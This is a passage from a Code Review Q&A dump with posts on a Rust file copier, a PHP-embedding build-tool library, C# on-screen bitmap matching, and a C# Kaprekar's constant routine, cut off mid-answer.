if let Ok(entry) = entry {
if let Ok(file_type) = entry.file_type() {
if !file_type.is_dir() {
read_and_write(Err(entry.file_name()), &write_path, &read_path, dir_path);
} else {
read_directory(entry.path(), &write_path, &read_path);
}
}
}
}
}
fn read_and_write(
file_name: Result<String, OsString>,
write_path: &String,
read_path: &String,
dir_path: Option<&String>,
) {
match file_name {
Ok(text) => {
println!("{}", text);
}
Err(txt) => match dir_path {
Some(val) => {
println!("{}", val);
let mut path_name = String::from(val.as_str());
path_name.push_str("/");
path_name.push_str(txt.to_str().unwrap());
let mut pathds = String::from(write_path);
pathds.push_str("/");
pathds.push_str(txt.to_str().unwrap());
match fs::copy(path_name, pathds) {
Ok(res) => println!("SUCCESS_CODE:{:?}", res),
Err(err) => println!("Error:{:?}", err),
}
}
None => {
let mut path_name = String::from(read_path);
let mut pathds = String::from(write_path);
pathds.push_str("/");
pathds.push_str(txt.to_str().unwrap());
path_name.push_str("/");
path_name.push_str(txt.to_str().unwrap());
match fs::copy(path_name, pathds) {
Ok(res) => println!("SUCCESS_CODE:{:?}", res),
Err(err) => println!("Error:{:?}", err),
}
}
},
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T16:53:18.943",
"Id": "463637",
"Score": "1",
"body": "Did you mean to leave `Hello World` in the code? Is this program working as expected?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T17:08:49.870",
"Id": "463639",
"Score": "0",
"body": "i posted this for code review.and yes its working as expected. i did mean to leave hello world."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T16:37:24.140",
"Id": "236543",
"Score": "3",
"Tags": [
"rust"
],
"Title": "recursive-file-watcher in rust"
}
|
236543
|
<p>The basic idea came from the <code>php-embed</code> SAPI module. I just need a simple customization, but it has too heavy depedencies than I want to do.</p>
<p>To create a code generator similar to Unreal Engine 4.
There are so many basic functions that PHP itself has that I think is the best way to make such a tool.</p>
<p>Modules are light and have a little dependencies, but they are static linkable. In addition, the template processing for strings is really powerful, so I want to make it with PHP language.</p>
<p>like this <code>Visual Studio Solution</code> generator:</p>
<pre><code><?php
/*
Perhaps I'll write PHP code here to identify each C / C ++ module.
And, I'll set necessary PHP variables.
Like, $project_name, $project_path, $included_modules something...
*/
.....
$project_uuid = UUID::generate_from_string_hash($project_name);
?>Microsoft Visual Studio Solution File, Format Version <?=$target_vs_fmt_version?>
# Visual Studio <?=$target_vs_version?>
VisualStudioVersion = <?=$recommended_vs_version?>
MinimumVisualStudioVersion = <?=$minimal_vs_version?>
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "<?=$project_name?>", "<?=$project_name?>.vcxproj", "<?=$project_uuid?>"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
<?=$project_uuid?>.Debug|x64.ActiveCfg = Debug|x64
<?=$project_uuid?>.Debug|x64.Build.0 = Debug|x64
... blah blah...
<?php foreach($included_modules as $module_info) { ?>
<?=$module_info['uuid']?>.Debug|x64.ActiveCfg = Debug|x64
........
<?php } ?>
EndGlobalSection
..........
</code></pre>
<p>But an important problem is,</p>
<p><code>php-cli</code> or <code>php-cgi</code> may read the global <code>php.ini</code> configuration file installed on system. And allowing <code>shell_exec</code> and <code>exec</code> functions to run compilers can cause security problems. </p>
<p>So, the critical problem is,</p>
<p>I should modify those configuration files <strong>for running my own build tool</strong>.</p>
<p>Of course, it can be solved by giving execution options, which makes the command line too long.</p>
<p>But that's too tired.</p>
<p><code>php shebang</code> is available, but that's not the method available on Windows systems. (Not impossible, but the process is quite complicated in anyway, rather than having a single executable.)</p>
<p>So, I've wrote a simple SAPI library that is for creating another PHP interpreter based on PHP interpreter. to be precise, it's a <code>PHP SAPI</code> module, but the result is a static library. and it can be linked without <code>phpize</code> and other shared library. </p>
<p>(Of course, dynamic libraries are loaded at runtime. including <code>php7ts.{dll,so}</code>.)</p>
<p><a href="https://github.com/jay94ks/php-xclie/tree/master/xclie" rel="nofollow noreferrer">https://github.com/jay94ks/php-xclie/tree/master/xclie</a></p>
<pre><code>#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include <stdlib.h>
#include <php_xclie.h>
#pragma comment(lib, "php7xclie.lib")
void bb_preinit(struct xclie_exec*, const char*);
void bb_cleanup(struct xclie_exec*);
#define BB_ENTRY_SCRIPT "engine/main.php"
int main(int argc, char** argv) {
struct xclie_exec exec = { 0, };
bool waitUser = true;
int retVal = 0;
exec.argc = argc;
exec.argv = argv;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-q")) {
waitUser = false;
break;
}
}
/* entry script will be set on bb_preinit. */
exec.preinit = bb_preinit;
exec.entry_script = nullptr;
if ((retVal = xclie_run(&exec)) != XCLIX_SUCCESS) {
fprintf(stderr, "Jay's Build Tool.\n");
fprintf(stderr, "based on PHP 7. lol!\n");
fprintf(stderr, "Copyright (C) 2020 Jaehoon Joe.\n\n");
switch (retVal) {
case XCLIX_CANT_STARTUP:
fprintf(stderr, "Unknown error: PHP startup routines failure.\n");
break;
case XCLIX_NO_FILE_SPEC:
fprintf(stderr, "Error: entry script missing!\n >> %s.\n", exec.entry_script);
break;
case XCLIX_NO_PERMISSION:
fprintf(stderr, "No permission to execute build-script!\n >> %s.\n", exec.entry_script);
break;
case XCLIX_NO_SUCH_FILE:
fprintf(stderr, "No such file existed!\n >> %s.\n", exec.entry_script);
break;
}
bb_cleanup(&exec);
if (waitUser) {
system("pause");
}
return -1;
}
bb_cleanup(&exec);
if (waitUser) {
system("pause");
}
return 0;
}
void bb_preinit(struct xclie_exec* exec, const char* exec_path) {
int basepath_size = int(strlen(exec_path));
int entry_size = basepath_size + sizeof(BB_ENTRY_SCRIPT) + 1;
if (char* entry_script = (char*)::malloc(entry_size)) {
exec->entry_script = entry_script;
::memcpy(entry_script, exec_path, basepath_size);
::memcpy(entry_script + basepath_size + 1,
BB_ENTRY_SCRIPT, sizeof(BB_ENTRY_SCRIPT));
*(entry_script + basepath_size) = '/';
}
}
void bb_cleanup(struct xclie_exec* exec) {
if (exec->entry_script) {
::free((char*)exec->entry_script);
}
exec->prepend_script =
exec->entry_script = nullptr;
}
</code></pre>
<p>I've rewritten to run PHP in another thread and do something else in C/C ++ code. I also implemented some event mechanism (i think that is something strange although i did.) for communicating between C/C++ and PHP code.</p>
<p>What should I do I create something more in order to further improve this idea?</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T17:12:34.793",
"Id": "236545",
"Score": "1",
"Tags": [
"php",
"c",
"interpreter"
],
"Title": "A library for creating customized PHP interpreter"
}
|
236545
|
<p>Below is my attempt at bitmap in bitmap searching using 1bpp bitmaps.
Any suggestions on how I can reduce complexity and improve speed? Any comment is appreciated.</p>
<pre><code>using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Linq;
using System.Collections.Generic;
using System.Windows.Forms;
namespace AutoBot
{
public partial class ActiveScreenMatch
{
public static bool ScreenMatch(Rectangle rect = default, string path = "")
{
if (rect == default && string.IsNullOrEmpty(path))
{
return false;
}
Bitmap bw;
if (rect == default)
{
bw = new Bitmap(path);
bw = bw.Clone(new Rectangle(new Point(0, 0), new Size(bw.Width, bw.Height)), PixelFormat.Format1bppIndexed);
}
else
{
bw = GetBlackWhiteAt(rect.Location, rect.Size);
}
/// Initialize Search image array.
bool[][] ba1;
using (bw)
{
ba1 = GetBooleanArray(bw).ToArray();
}
int SkippedBlackLines = 0;
foreach (bool[] bl1 in ba1)
{
if (bl1.Any(x => x))
{
break;
}
else
{
SkippedBlackLines++;
}
}
bool[][] ba2;
using (Bitmap SearchWindow = GetBlackWhiteAt(new Point(0, 0), new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)))
{
ba2 = GetBooleanArray(SearchWindow).ToArray();
}
var Base = ba1.Skip(SkippedBlackLines);
for (int i = ba2.GetUpperBound(0); i > 0; i--)
{
if (SubListIndex(ba2[i].AsEnumerable(), 0, Base.LastOrDefault()) != -1)
{
if (Base.Count() == 1)
{
MoveTo(
SubListIndex(ba2[i].AsEnumerable(), 0, Base.LastOrDefault()) + (ba1[0].Length / 2),
i + (ba1.GetUpperBound(0) / 2));
return true;
}
else
{
Base = Base.Take(Base.Count() - 1);
}
}
}
return false;
}
private static IEnumerable<bool[]> GetBooleanArray(Bitmap bitmap)
{
BitmapData data = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly, PixelFormat.Format1bppIndexed);
for (int y = 0; y <= bitmap.Height - 1; y++)
{
var ba2 = new bool[bitmap.Width];
for (int x = 0; x <= bitmap.Width - 1; x++)
{
if (GetIndexedPixel(x, y, data) > 0)
{
ba2[x] = true;
}
}
yield return ba2;
}
bitmap.UnlockBits(data);
}
private static int GetIndexedPixel(int x, int y, BitmapData data)
{
var index = (y * data.Stride) + (x >> 3);
var mask = (byte)(0x80 >> (x & 0x7));
byte ret = Marshal.ReadByte(data.Scan0, index);
ret &= mask;
return ret;
}
private static int SubListIndex(IEnumerable<bool> list, int start, IEnumerable<bool> sublist)
{
for (int listIndex = start; listIndex < list.Count() - sublist.Count() + 1; listIndex++)
{
int count = 0;
while (count < sublist.Count() && sublist.ElementAt(count).Equals(list.ElementAt(listIndex + count)))
count++;
if (count == sublist.Count())
return listIndex;
}
return -1;
}
private static Bitmap GetBlackWhiteAt(Point On, Size PickArea)
{
// Create a new bitmap.
using (Bitmap bmp = PrintWindow())
return bmp.Clone(new Rectangle(On, PickArea), PixelFormat.Format1bppIndexed);
}
private static void PrintScreen()
{
keybd_event(VKey.VK_SNAPSHOT, 0, KEYEVENTF_EXTENDEDKEY, 0);
keybd_event(VKey.VK_SNAPSHOT, 0, KEYEVENTF_KEYUP, 0);
}
private static Bitmap PrintWindow()
{
PrintScreen();
Application.DoEvents();
if (Clipboard.ContainsImage())
{
using (Image img = Clipboard.GetImage())
{
if (img != null)
{
return new Bitmap(img);
}
}
}
return PrintWindow();
}
}
public static class VKey
{
public readonly static byte VK_BACK = 0x08;
public readonly static byte VK_TAB = 0x09;
public readonly static byte VK_RETURN = 0x0D;
public readonly static byte VK_SHIFT = 0x10;
public readonly static byte VK_CONTROL = 0x11;
public readonly static byte VK_MENU = 0x12;
public readonly static byte VK_PAUSE = 0x13;
public readonly static byte VK_CAPITAL = 0x14;
public readonly static byte VK_ESCAPE = 0x1B;
public readonly static byte VK_SPACE = 0x20;
public readonly static byte VK_END = 0x23;
public readonly static byte VK_HOME = 0x24;
public readonly static byte VK_LEFT = 0x25;
public readonly static byte VK_UP = 0x26;
public readonly static byte VK_RIGHT = 0x27;
public readonly static byte VK_DOWN = 0x28;
public readonly static byte VK_PRINT = 0x2A;
public readonly static byte VK_SNAPSHOT = 0x2C;
public readonly static byte VK_INSERT = 0x2D;
public readonly static byte VK_DELETE = 0x2E;
public readonly static byte VK_LWIN = 0x5B;
public readonly static byte VK_RWIN = 0x5C;
public readonly static byte VK_NUMPAD0 = 0x60;
public readonly static byte VK_NUMPAD1 = 0x61;
public readonly static byte VK_NUMPAD2 = 0x62;
public readonly static byte VK_NUMPAD3 = 0x63;
public readonly static byte VK_NUMPAD4 = 0x64;
public readonly static byte VK_NUMPAD5 = 0x65;
public readonly static byte VK_NUMPAD6 = 0x66;
public readonly static byte VK_NUMPAD7 = 0x67;
public readonly static byte VK_NUMPAD8 = 0x68;
public readonly static byte VK_NUMPAD9 = 0x69;
public readonly static byte VK_MULTIPLY = 0x6A;
public readonly static byte VK_ADD = 0x6B;
public readonly static byte VK_SEPARATOR = 0x6C;
public readonly static byte VK_SUBTRACT = 0x6D;
public readonly static byte VK_DECIMAL = 0x6E;
public readonly static byte VK_DIVIDE = 0x6F;
public readonly static byte VK_F1 = 0x70;
public readonly static byte VK_F2 = 0x71;
public readonly static byte VK_F3 = 0x72;
public readonly static byte VK_F4 = 0x73;
public readonly static byte VK_F5 = 0x74;
public readonly static byte VK_F6 = 0x75;
public readonly static byte VK_F7 = 0x76;
public readonly static byte VK_F8 = 0x77;
public readonly static byte VK_F9 = 0x78;
public readonly static byte VK_F10 = 0x79;
public readonly static byte VK_F11 = 0x7A;
public readonly static byte VK_F12 = 0x7B;
public readonly static byte VK_NUMLOCK = 0x90;
public readonly static byte VK_SCROLL = 0x91;
public readonly static byte VK_LSHIFT = 0xA0;
public readonly static byte VK_RSHIFT = 0xA1;
public readonly static byte VK_LCONTROL = 0xA2;
public readonly static byte VK_RCONTROL = 0xA3;
public readonly static byte VK_LMENU = 0xA4;
public readonly static byte VK_RMENU = 0xA5;
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T01:45:00.053",
"Id": "463671",
"Score": "0",
"body": "Partitioning to me is bad in this case, as it gives way to a match on the boundary of the split leading to a 'non-completable' search pattern. This is unacceptable to me, so rather than fail with one. How do I Concurrently run the Left half, Right half, the top half, and bottom half and whole and cancel them all when one is successful?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:45:09.983",
"Id": "463755",
"Score": "0",
"body": "Instead of doing the detection in parallel, I redid that portion to simply check the whole screen."
}
] |
[
{
"body": "<p>Ok so let's focus on this part the actual search routine.</p>\n\n<pre><code> for (int i = ba2.GetUpperBound(0); i > 0; i--)\n {\n if (SubListIndex(ba2[i].AsEnumerable(), 0, Base.LastOrDefault()) != -1)\n {\n if (Base.Count() == 1)\n {\n MoveTo(\n SubListIndex(ba2[i].AsEnumerable(), 0, Base.LastOrDefault()) + (ba1[0].Length / 2),\n i + (ba1.GetUpperBound(0) / 2));\n return true;\n }\n else\n {\n Base = Base.Take(Base.Count() - 1);\n }\n }\n }\n return false;\n</code></pre>\n\n<p>This routine resizes the search Image on each successful pass instead of iterating it</p>\n\n<p>The amount of checking when finding a potential match can be reduced to 3 checks.</p>\n\n<pre><code> var m = SearchImage.Length - 1;\n for (int i = SearchArea.GetUpperBound(0); i > 0; i--)\n {\n if (SubListIndex(SearchArea[i].AsEnumerable(), 0, SearchImage[m]) != -1)\n {\n int x;\n if (SubListIndex(SearchArea[i - m].AsEnumerable(), 0, SearchImage[0]) != -1)\n {\n if (SubListIndex(SearchArea[i - (m / 2)].AsEnumerable(), 0, SearchImage[m / 2]) != -1)\n {\n x = SubListIndex(SearchArea[i - m].AsEnumerable(), 0, SearchImage[0]);\n }\n else\n {\n continue;\n }\n }\n else\n {\n continue;\n }\n\n if (x != -1)\n {\n return new Point(x + (SearchImage.Length / 2), (SearchImage.Length / 2) + i);\n }\n }\n }\n return default;\n</code></pre>\n\n<p>Linq version, reduces Search Area, by directly checking Target sequence in Search Area Instead of using SubListIndex.</p>\n\n<pre><code> var m = SearchImage.Length - 1;\n return (from line in Enumerable.Range(0, SourceArea.GetUpperBound(0))\n let Index = SubListIndex(SourceArea[line].AsEnumerable(), 0, TargetArea[m])\n where Index != -1\n let Test = SourceArea[line - m].AsEnumerable().Skip(Index).SequenceEqual(TargetArea[0])\n let Test2 = SourceArea[line - (m / 2)].AsEnumerable().Skip(Index).SequenceEqual(TargetArea[m / 2])\n where Test && Test2\n select new Point(Index + (TargetArea[0].Length / 2), line + (TargetArea.Length / 2))).FirstOrDefault();\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T19:27:01.650",
"Id": "236667",
"ParentId": "236546",
"Score": "1"
}
},
{
"body": "<p>That last linq routine was half baked. Moving to a more Drier Approach for bitmap handling.</p>\n\n<p>First here is the new Search Routine</p>\n\n<pre><code>using System;\nusing System.Collections.Generic;\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.Linq;\nusing System.Runtime.CompilerServices;\nusing System.Windows.Forms;\n\nnamespace AutoBot\n{\n public partial class ActiveScreenMatch\n {\n public static Point ScreenMatch(BitData Target = default)\n {\n if (Target == default)\n {\n return default;\n }\n var TargetArea = Target.GetBitData();\n\n int SkippedBlackLines = 0;\n foreach (bool[] bl1 in TargetArea)\n {\n if (bl1.Any(x => x))\n {\n break;\n }\n else\n {\n SkippedBlackLines++;\n }\n }\n TargetArea = TargetArea.Skip(SkippedBlackLines).ToArray();\n\n Bitmap SourceImage = GetBlackWhiteAt(new Point(0, 0), new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height));\n\n BitData SourceData = new BitData(dataMap: SourceImage);\n\n var SourceArea = SourceData.GetBitData();\n\n SourceImage.Dispose();\n\n var m = TargetArea.Count() -1;\n\n return (from line in Enumerable.Range(0, SourceArea.Count() - 1)\n let Index = SubListIndex(SourceArea.ElementAt(line), 0, TargetArea.ElementAt(0))\n where Index != -1 && Index != 0 && line > m\n let SourceLast = SourceArea.ElementAt(line + m).Skip(Index).Take(TargetArea.ElementAt(0).Length).ToArray()\n let TargetLast = TargetArea.ElementAt(m).ToArray()\n let SourceMid = SourceArea.ElementAt(line + (m/2)).Skip(Index).Take(TargetArea.ElementAt(0).Length).ToArray()\n let TargetMid = TargetArea.ElementAt(m/2).ToArray()\n where TargetLast.SequenceEqual(SourceLast) && TargetMid.SequenceEqual(SourceMid)\n select new Point(Index + (TargetArea.ElementAt(0).Length / 2), line + (TargetArea.ElementAt(0).Length / 2))).FirstOrDefault();\n }\n\n [MethodImpl(MethodImplOptions.AggressiveInlining)]\n private static int SubListIndex(IEnumerable<bool> list, int start, IEnumerable<bool> sublist)\n {\n for (int listIndex = start; listIndex < list.Count() - sublist.Count() + 1; listIndex++)\n {\n int count = 0;\n while (count < sublist.Count() && sublist.ElementAt(count).Equals(list.ElementAt(listIndex + count)))\n count++;\n if (count == sublist.Count())\n return listIndex;\n }\n return -1;\n }\n\n public static Bitmap GetBlackWhiteAt(Point On, Size PickArea)\n {\n // Create a new bitmap.\n using (Bitmap bmp = PrintWindow())\n return bmp.Clone(new Rectangle(On, PickArea), PixelFormat.Format1bppIndexed);\n }\n\n private static void PrintScreen()\n {\n keybd_event(VKey.VK_SNAPSHOT, 0, KEYEVENTF_EXTENDEDKEY, 0);\n keybd_event(VKey.VK_SNAPSHOT, 0, KEYEVENTF_KEYUP, 0);\n }\n\n private static Bitmap PrintWindow()\n {\n PrintScreen();\n Application.DoEvents();\n if (Clipboard.ContainsImage())\n {\n using (Image img = Clipboard.GetImage())\n {\n if (img != null)\n {\n img.Save(\"Output.PNG\", ImageFormat.Png);\n return new Bitmap(img);\n }\n }\n }\n return PrintWindow();\n }\n }\n\n public static class VKey\n {\n public readonly static byte VK_BACK = 0x08;\n public readonly static byte VK_TAB = 0x09;\n public readonly static byte VK_RETURN = 0x0D;\n public readonly static byte VK_SHIFT = 0x10;\n public readonly static byte VK_CONTROL = 0x11;\n public readonly static byte VK_MENU = 0x12;\n public readonly static byte VK_PAUSE = 0x13;\n public readonly static byte VK_CAPITAL = 0x14;\n public readonly static byte VK_ESCAPE = 0x1B;\n public readonly static byte VK_SPACE = 0x20;\n public readonly static byte VK_END = 0x23;\n public readonly static byte VK_HOME = 0x24;\n public readonly static byte VK_LEFT = 0x25;\n public readonly static byte VK_UP = 0x26;\n public readonly static byte VK_RIGHT = 0x27;\n public readonly static byte VK_DOWN = 0x28;\n public readonly static byte VK_PRINT = 0x2A;\n public readonly static byte VK_SNAPSHOT = 0x2C;\n public readonly static byte VK_INSERT = 0x2D;\n public readonly static byte VK_DELETE = 0x2E;\n public readonly static byte VK_LWIN = 0x5B;\n public readonly static byte VK_RWIN = 0x5C;\n public readonly static byte VK_NUMPAD0 = 0x60;\n public readonly static byte VK_NUMPAD1 = 0x61;\n public readonly static byte VK_NUMPAD2 = 0x62;\n public readonly static byte VK_NUMPAD3 = 0x63;\n public readonly static byte VK_NUMPAD4 = 0x64;\n public readonly static byte VK_NUMPAD5 = 0x65;\n public readonly static byte VK_NUMPAD6 = 0x66;\n public readonly static byte VK_NUMPAD7 = 0x67;\n public readonly static byte VK_NUMPAD8 = 0x68;\n public readonly static byte VK_NUMPAD9 = 0x69;\n public readonly static byte VK_MULTIPLY = 0x6A;\n public readonly static byte VK_ADD = 0x6B;\n public readonly static byte VK_SEPARATOR = 0x6C;\n public readonly static byte VK_SUBTRACT = 0x6D;\n public readonly static byte VK_DECIMAL = 0x6E;\n public readonly static byte VK_DIVIDE = 0x6F;\n public readonly static byte VK_F1 = 0x70;\n public readonly static byte VK_F2 = 0x71;\n public readonly static byte VK_F3 = 0x72;\n public readonly static byte VK_F4 = 0x73;\n public readonly static byte VK_F5 = 0x74;\n public readonly static byte VK_F6 = 0x75;\n public readonly static byte VK_F7 = 0x76;\n public readonly static byte VK_F8 = 0x77;\n public readonly static byte VK_F9 = 0x78;\n public readonly static byte VK_F10 = 0x79;\n public readonly static byte VK_F11 = 0x7A;\n public readonly static byte VK_F12 = 0x7B;\n public readonly static byte VK_NUMLOCK = 0x90;\n public readonly static byte VK_SCROLL = 0x91;\n public readonly static byte VK_LSHIFT = 0xA0;\n public readonly static byte VK_RSHIFT = 0xA1;\n public readonly static byte VK_LCONTROL = 0xA2;\n public readonly static byte VK_RCONTROL = 0xA3;\n public readonly static byte VK_LMENU = 0xA4;\n public readonly static byte VK_RMENU = 0xA5;\n }\n}\n</code></pre>\n\n<p>And the BitData Class</p>\n\n<pre><code>using System.Collections.Generic;\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.IO;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\nnamespace AutoBot\n{\n public class BitData\n {\n private Rectangle DataRect { get; }\n private string DataPath { get; }\n private Stream DataStream { get; }\n private Image DataImage { get; }\n private Bitmap DataMap { get; }\n\n public IEnumerable<bool[]> GetBitData()\n {\n if (DataMap == default && DataRect == default && string.IsNullOrEmpty(DataPath) && DataStream == default && DataImage == default)\n {\n return default;\n }\n\n Bitmap TargetImage;\n if (DataMap != default)\n {\n TargetImage = DataMap;\n }\n else if (DataRect != default)\n {\n TargetImage = ActiveScreenMatch.GetBlackWhiteAt(DataRect.Location, DataRect.Size);\n }\n else if (!string.IsNullOrEmpty(DataPath))\n {\n if (File.Exists(DataPath))\n {\n using (var Image = new Bitmap(DataPath))\n TargetImage = Image.Clone(new Rectangle(new Point(0, 0), new Size(Image.Width, Image.Height)), PixelFormat.Format1bppIndexed);\n }\n else\n {\n return default;\n }\n }\n else if (DataStream != default)\n {\n using (var Image = new Bitmap(DataStream))\n TargetImage = Image.Clone(new Rectangle(new Point(0, 0), new Size(Image.Width, Image.Height)), PixelFormat.Format1bppIndexed);\n }\n else\n {\n using (var Image = new Bitmap(DataImage))\n TargetImage = Image.Clone(new Rectangle(new Point(0, 0), new Size(Image.Width, Image.Height)), PixelFormat.Format1bppIndexed);\n }\n\n var Array = GetBooleanArray(TargetImage);\n\n TargetImage.Dispose();\n\n return Array;\n }\n\n public BitData(Rectangle dataRect = default, string dataPath = default, Stream dataStream = default, Image dataImage = default, Bitmap dataMap = default)\n {\n DataRect = dataRect;\n DataPath = dataPath;\n DataStream = dataStream;\n DataImage = dataImage;\n DataMap = dataMap;\n }\n\n [MethodImpl(MethodImplOptions.AggressiveInlining)]\n private static IEnumerable<bool[]> GetBooleanArray(Bitmap bitmap)\n {\n BitmapData data = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly, PixelFormat.Format1bppIndexed);\n bool[][] ba2 = new bool[bitmap.Height][];\n for (int y = 0; y <= bitmap.Height - 1; y++)\n {\n ba2[y] = new bool[bitmap.Width];\n for (int x = 0; x <= bitmap.Width - 1; x++)\n {\n if (GetIndexedPixel(x, y, data) > 0)\n {\n ba2[y][x] = true;\n }\n }\n }\n\n bitmap.UnlockBits(data);\n return ba2;\n }\n\n [MethodImpl(MethodImplOptions.AggressiveInlining)]\n private static int GetIndexedPixel(int x, int y, BitmapData data)\n {\n var index = (y * data.Stride) + (x >> 3);\n var mask = (byte)(0x80 >> (x & 0x7));\n byte ret = Marshal.ReadByte(data.Scan0, index);\n ret &= mask;\n return ret;\n }\n }\n}\n</code></pre>\n\n<p>I think this version is much improved and would greatly appreciate another's eye.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T16:31:44.360",
"Id": "464269",
"Score": "0",
"body": "I can optimize it even further, With BitVector32 for size, and doing a competition style search where one thread searches top-down, and another thread searches down up to ensure speed, use WaitHanlde WaitAny(). I would like to turn the source search area into a plane, and my target into a 4x4 matrix and subtract from the plane, but I think it would be hard to ensure it was put together in the same way that results in the same matrix being created in the plane. I am not sure if I can do that, so more research is needed from me."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:22:00.217",
"Id": "236793",
"ParentId": "236546",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T17:30:19.980",
"Id": "236546",
"Score": "2",
"Tags": [
"c#",
"image",
"bitwise"
],
"Title": "Bitmap in Bitmap (Black & white)"
}
|
236546
|
<p>I have implemented the kaprekar's constant algorithm in c#, and I want your feedback.</p>
<p>Here is how the algorithm works:</p>
<ul>
<li>it takes a number of 4 digits (e.g: 5823) </li>
<li>we order that number in ascendent and descendent order, which gives as two numbers (e.g: 8532 and 2358).</li>
<li>we subtract the larger number from the smaller number (e.g: 8532 - 2358 = 6174) </li>
<li>we repeat this operation until the difference is equal to 6174.</li>
</ul>
<p>Example:</p>
<p>step 1:</p>
<pre><code> number = 8532
cpt = 0 // the number of repeatation util the number became equal to 6174.
1) asc = 2358
2) desc = 8532
3) Difference = 6174
4) cpt++
5) Repeating above steps as difference is not equal to number.
</code></pre>
<p>step2:</p>
<pre><code> number = 6174
1) asc = 1467
2) desc = 7641
3) Difference = 6174
4) c++
5) return cpt and stopping here as difference is equal to number.
</code></pre>
<p>Here is my Code:</p>
<p>1- recursive method:</p>
<pre><code> int KaprekarsConstant(int num, int target)
{
if (num.ToString().Length != 4)
throw new ArgumentException();
var desendingOrder = num.ToString().OrderByDescending(a => a);
var acendingOrder = num.ToString().OrderBy(a => a);
int maxPart = int.Parse(new string(desendingOrder.ToArray()));
int minPart = int.Parse(new string(acendingOrder.ToArray()));
var diff = maxPart - minPart;
if (diff == target) return 1;
return 1+ KaprekarsConstant(diff, target);
}
</code></pre>
<p>2- non-recursive method:</p>
<pre><code> int KaprekarsConstant2(int num, int target)
{
int cpt = 0;
if (num.ToString().Length != 4)
throw new ArgumentException();
while (true)
{
var desendingOrder = num.ToString().OrderByDescending(a => a);
var acendingOrder = num.ToString().OrderBy(a => a);
int maxPart = int.Parse(new string(desendingOrder.ToArray()));
int minPart = int.Parse(new string(acendingOrder.ToArray()));
var diff = maxPart - minPart;
cpt++;
if (diff == target) return cpt;
num = diff;
}
}
</code></pre>
<p>Code test:</p>
<pre><code> public static void Main(string[] args)
{
Console.WriteLine(KaprekarsConstant(6174, 6174)); //cpt =1
Console.WriteLine(KaprekarsConstant(3524, 6174)); //cpt =3
Console.WriteLine(KaprekarsConstant(2324, 6174)); //cpt =3
Console.WriteLine(KaprekarsConstant(9812, 6174)); //cpt =2
Console.ReadLine();
}
</code></pre>
<p>Thanks in advance for your help!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T19:30:42.930",
"Id": "463764",
"Score": "1",
"body": "Both answers already mention to avoid `num.ToString()` because its more efficient to avoid it, but also could be a bug if `num = -123` since it's a 3 digit number but the negative sign counts as the 4th character."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T20:02:48.877",
"Id": "463768",
"Score": "0",
"body": "@RickDavin that's right I did not think of it, thanks!"
}
] |
[
{
"body": "<ul>\n<li>6174 is Kaprekar Constant, I don't know why you're using it as an\ninput argument while it should be within the method. So, you'll only\nneed to pass one int argument.</li>\n<li>there is no need to call <code>ToString</code> to get the length of the integer.\nYou can check the integer range instead. So, this <code>num.ToString().Length != 4</code> can be converted to <code>num >= 1000 && num <= 9999</code>.</li>\n<li>using <code>LINQ</code> is fine, but in your case, I don't see a need of that. As you have fixed input length (4 digits), you can simply converted to string, then just do <code>str[index]</code> where the index would be a range of 0 to 3.</li>\n<li>why are you using <code>while(true)</code> while you could enforce kaprekar's\nconstant condition by using <code>while(diff != 6174)</code>.</li>\n<li>No need for recursive method.</li>\n</ul>\n\n<p>here is a standard version : </p>\n\n<pre><code>int KaprekarsConstant(int num)\n{\n\n // zero == zero\n if (num == 0) { return 0; }\n\n // if num is not between 1000 and 9999 throw exception\n if(num >= 1000 && num <= 9999) { throw new ArgumentException(); }\n\n // will be used inside the loop\n var diff = num;\n\n // number of repeatation\n var numberOfRepeatation = 0;\n\n do // do it at least once.\n {\n //to array \n var digitsAsc = new int[4];\n\n for (var x = 0; x < 4; x++)\n {\n digitsAsc[x] = diff % 10;\n diff /= 10;\n }\n\n // sort the elements in the array to ascendent order\n Array.Sort(digitsAsc);\n\n //now, digitsAsc array is in ascedent order, we will resorted into descendent order\n var digitsDesc = new int[4];\n\n for (var x = 0; x < 4; x++)\n {\n digitsDesc[x] = digitsAsc[3 - x];\n }\n\n // convert them to int\n var asce = int.Parse(string.Join(string.Empty, digitsAsc));\n\n var desc = int.Parse(string.Join(string.Empty, digitsDesc));\n\n 